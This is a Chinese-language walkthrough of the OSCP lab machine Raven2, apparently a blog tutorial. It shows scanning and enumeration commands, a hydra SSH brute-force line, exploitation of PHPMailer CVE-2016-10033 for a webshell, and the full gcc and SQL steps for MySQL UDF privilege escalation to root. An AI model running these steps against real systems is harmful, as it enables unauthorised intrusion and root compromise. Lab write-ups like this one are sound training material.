OSCP靶场52——Raven2
字数 1589 2025-10-14 00:33:59
OSCP靶场52——Raven2 渗透测试教学文档
概述
Raven2是OSCP(Offensive Security Certified Professional)认证考试中的一个模拟靶场环境,本教学文档将详细解析对该靶场的完整渗透测试过程,涵盖信息收集、漏洞利用和权限提升等关键环节。
攻击链总览
- 信息收集:通过端口扫描和目录枚举发现服务与潜在入口点
- 边界突破:利用PHPMailer插件漏洞实现远程代码执行
- 权限提升:通过MySQL的UDF(用户定义函数)功能实现从www-data到root的提权
关键技术点
1. PHPMailer插件漏洞 (CVE-2016-10033)
- 漏洞组件:PHPMailer 5.2.16
- 漏洞类型:远程代码执行
- 利用条件:存在邮件发送功能的接触页面(contact.php)
- 利用方式:通过特殊构造的邮件参数实现代码注入
2. MySQL UDF提权
- 前提条件:
- MySQL以root权限运行
- 具备MySQL文件写入权限(secure_file_priv配置允许)
- 能够创建自定义函数
- 技术原理:通过共享库文件(15.so)创建可执行系统命令的函数
详细渗透过程
阶段一:信息收集
端口扫描
# 使用nmap进行全端口扫描
ports=$(nmap -p- --min-rate=1000 -T4 172.16.33.190| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# 对发现的端口进行详细扫描
nmap -A -p$ports 172.16.33.190 > n1.txt
发现服务:
- 80端口:Web服务(WordPress站点)
- 22端口:SSH服务
- 111端口:RPC服务
- 48407端口:未知服务(需进一步探测)
Web目录枚举
# 使用gobuster进行目录扫描
gobuster dir -u http://172.16.33.190/ -w /usr/share/dirb/wordlists/common.txt -t 10 --timeout 15s --delay 100ms
# 使用dirsearch进行文件扫描
dirsearch -u http://172.16.33.190/ -f -e php,txt,pdf,html
关键发现:
- WordPress站点路径:/wordpress/
- PHPMailer组件:版本5.2.16(存在已知漏洞)
- 联系页面:contact.php(邮件功能入口)
WordPress扫描
# 使用wpscan扫描WordPress漏洞
wpscan --url http://172.16.33.190/wordpress/ --enumerate vp,vt,u --api-token XXX
发现的用户:
- 两个普通用户账户(为后续SSH爆破提供用户名列表)
阶段二:边界突破
PHPMailer漏洞利用
-
搜索可用漏洞利用代码:
searchsploit PHPMailer -
利用关键点:
- 目标URL:http://172.16.33.190/contact.php
- 需要指定完整的Web根目录路径:/var/www/backdoor.php
- 成功利用后上传Webshell
-
获取初始访问:
- 通过漏洞上传Webshell并获取www-data权限的reverse shell
阶段三:权限提升
用户枚举
- 发现两个普通用户账户
- 尝试SSH爆破(未成功):
hydra -L username.txt -P rockyou.txt 172.16.33.190 ssh -t 32 -e nsr -vV -f
MySQL UDF提权过程
-
发现提权机会:
- MySQL进程以root权限运行
- 具备文件写入权限
-
检查MySQL配置:
show variables like '%secure_file_priv%'; -
编译恶意共享库:
gcc -g -c 15.c gcc -g -shared -Wl,-soname,15.so -o 15.so 15.o -lc -
MySQL操作步骤:
use mysql; create table foo(line blob); insert into foo values(load_file('/tmp/15.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/15.so'; create function do_sysf returns integer soname '15.so'; select * from mysql.func; -- 验证函数创建成功 -
执行提权:
- 通过创建的UDF函数执行系统命令
- 反弹root权限的shell
关键知识点总结
- 信息收集重要性:全面的端口扫描和目录枚举是发现攻击面的基础
- 漏洞研究能力:需要能够快速识别和验证已知组件的安全漏洞
- 路径理解:Web漏洞利用时需要准确理解目标服务器的文件系统结构
- 数据库提权:MySQL以root权限运行且具备文件写入权限时,UDF提权是有效方法
- 权限链构建:从Web应用漏洞到系统级权限的完整攻击链构建
防御建议
- 及时更新组件:保持所有Web组件(如PHPMailer)最新版本
- 最小权限原则:MySQL等服务不应以root权限运行
- 安全配置:合理设置MySQL的secure_file_priv等安全参数
- 输入验证:对所有用户输入进行严格过滤和验证
- 网络隔离:限制不必要的网络服务和端口暴露
参考资源
- PHPMailer漏洞详情:https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
- MySQL UDF提权技术详解
- OSCP官方认证指南
本教学文档仅用于教育目的和安全研究,请勿用于非法用途。